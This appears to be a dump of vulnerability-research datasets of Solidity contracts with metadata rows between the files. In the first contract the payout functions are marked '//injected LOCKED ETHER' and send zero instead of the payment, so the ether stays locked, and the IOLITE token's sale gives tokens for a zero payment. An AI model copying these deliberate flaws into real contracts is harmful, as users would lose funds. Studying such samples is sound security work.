id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
uint fee = pool4_price * 4 / 100;
uint poolshare = pool4_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool4Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
uint fee = pool5_price * 4 / 100;
uint poolshare = pool5_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool5Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
uint fee = pool6_price * 4 / 100;
uint poolshare = pool6_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool6Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
uint fee = pool7_price * 4 / 100;
uint poolshare = pool7_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool7Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
uint fee = pool8_price * 4 / 100;
uint poolshare = pool8_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool8Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
uint fee = pool9_price * 4 / 100;
uint poolshare = pool9_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool9Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable { //injected LOCKED ETHER
require(users[msg.sender].isExist, "User Not Registered");
require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
uint fee = pool10_price * 4 / 100;
uint poolshare = pool10_price - fee;
if (address(uint160(ownerWallet)).send(0))
sent = address(uint160(pool10Currentuser)).send(0);
if (sent) {
totalEarned += poolshare;
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(0))
{
}
}
}
| 279,305 | 13,904 |
fa0bde1503df75607e35f0697937d8175160600b75fec1c9349aa1939e3491ef
| 30,183 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/43/43468d0183dd8e9327ec222835e996f2d06bbe21_FShare.sol
| 3,531 | 13,479 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract FShare is ERC20Burnable, Operator {
using SafeMath for uint256;
// TOTAL MAX SUPPLY = 61,000 fSHAREs
uint256 public constant FARMING_POOL_REWARD_ALLOCATION = 40000 ether;
uint256 public constant COMMUNITY_FUND_POOL_ALLOCATION = 0 ether;
uint256 public constant DEV_FUND_POOL_ALLOCATION = 1000 ether;
uint256 public constant VESTING_DURATION = 365 days;
uint256 public startTime;
uint256 public endTime;
uint256 public communityFundRewardRate;
uint256 public devFundRewardRate;
address public communityFund;
address public devFund;
uint256 public communityFundLastClaimed;
uint256 public devFundLastClaimed;
bool public rewardPoolDistributed = false;
constructor(uint256 _startTime, address _communityFund, address _devFund) public ERC20("FSHARE Token", "FSHARE") {
_mint(msg.sender, 1 ether); // mint 1 FROZEN Share for initial pools deployment
startTime = _startTime;
endTime = startTime + VESTING_DURATION;
communityFundLastClaimed = startTime;
devFundLastClaimed = startTime;
communityFundRewardRate = COMMUNITY_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
devFundRewardRate = DEV_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
require(_devFund != address(0), "Address cannot be 0");
devFund = _devFund;
//require(_communityFund != address(0), "Address cannot be 0");
communityFund = _communityFund;
}
function setTreasuryFund(address _communityFund) external {
require(msg.sender == devFund, "!dev");
communityFund = _communityFund;
}
function setDevFund(address _devFund) external {
require(msg.sender == devFund, "!dev");
require(_devFund != address(0), "zero");
devFund = _devFund;
}
function unclaimedTreasuryFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (communityFundLastClaimed >= _now) return 0;
_pending = _now.sub(communityFundLastClaimed).mul(communityFundRewardRate);
}
function unclaimedDevFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (devFundLastClaimed >= _now) return 0;
_pending = _now.sub(devFundLastClaimed).mul(devFundRewardRate);
}
function claimRewards() external {
uint256 _pending = unclaimedTreasuryFund();
if (_pending > 0 && communityFund != address(0)) {
_mint(communityFund, _pending);
communityFundLastClaimed = block.timestamp;
}
_pending = unclaimedDevFund();
if (_pending > 0 && devFund != address(0)) {
_mint(devFund, _pending);
devFundLastClaimed = block.timestamp;
}
}
function distributeReward(address _farmingIncentiveFund) external onlyOperator {
require(!rewardPoolDistributed, "only can distribute once");
require(_farmingIncentiveFund != address(0), "!_farmingIncentiveFund");
rewardPoolDistributed = true;
_mint(_farmingIncentiveFund, FARMING_POOL_REWARD_ALLOCATION);
}
function burn(uint256 amount) public override {
super.burn(amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 41,806 | 13,905 |
78550c6c5a478ab339a00d8f153cf421b23377107c1fc20e8025e12b19093f46
| 14,044 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xd6cfd0052e58c6c2450a7e645b5caa2ad2128338.sol
| 3,366 | 11,576 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'IOLITE'
//
// NAME : IOLITE
// Symbol : LITE
// Total supply: 1,000,000,000
// Decimals : 8
//
// Enjoy.
//
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IOLITE is StandardToken {
string public constant name = "IOLITE";
string public constant symbol = "LITE";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 1 * 10**9 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function IOLITE() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 500 * (10**uint256(decimals));
}
if(_weiAmount == 0.001 ether){
amountOfTokens = 1250 * (10**uint256(decimals));
}
if(_weiAmount == 0.002 ether){
amountOfTokens = 2500 * (10**uint256(decimals));
}
if(_weiAmount == 0.003 ether){
amountOfTokens = 3750 * (10**uint256(decimals));
}
if(_weiAmount == 0.004 ether){
amountOfTokens = 5 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.005 ether){
amountOfTokens = 6250 * (10**uint256(decimals));
}
if(_weiAmount == 0.006 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if(_weiAmount == 0.007 ether){
amountOfTokens = 7500 * (10**uint256(decimals));
}
if(_weiAmount == 0.008 ether){
amountOfTokens = 10000 * (10**uint256(decimals));
}
if(_weiAmount == 0.009 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if(_weiAmount == 0.01 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if(_weiAmount == 0.02 ether){
amountOfTokens = 30000 * (10**uint256(decimals));
}
if(_weiAmount == 0.03 ether){
amountOfTokens = 45000 * (10**uint256(decimals));
}
if(_weiAmount == 0.04 ether){
amountOfTokens = 60000 * (10**uint256(decimals));
}
if(_weiAmount == 0.05 ether){
amountOfTokens = 75000 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.06 ether){
amountOfTokens = 90000 * (10**uint256(decimals));
}
if(_weiAmount == 0.07 ether){
amountOfTokens = 105 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.08 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.09 ether){
amountOfTokens = 135 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.1 ether){
amountOfTokens = 175 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.2 ether){
amountOfTokens = 350 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.3 ether){
amountOfTokens = 525 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.4 ether){
amountOfTokens = 700 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.5 ether){
amountOfTokens = 875 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.6 ether){
amountOfTokens = 1050 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.7 ether){
amountOfTokens = 1225 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.8 ether){
amountOfTokens = 1400 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.9 ether){
amountOfTokens = 15750 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 1 ether){
amountOfTokens = 2000 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
| 218,750 | 13,906 |
8c72497799b4a8490477c8334958016842de9023598695691c9e982cb1e42531
| 26,631 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/fd/fdf663fbfcea138777b92b671ca9ac1c00d172e2_LIF3.sol
| 4,559 | 16,741 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
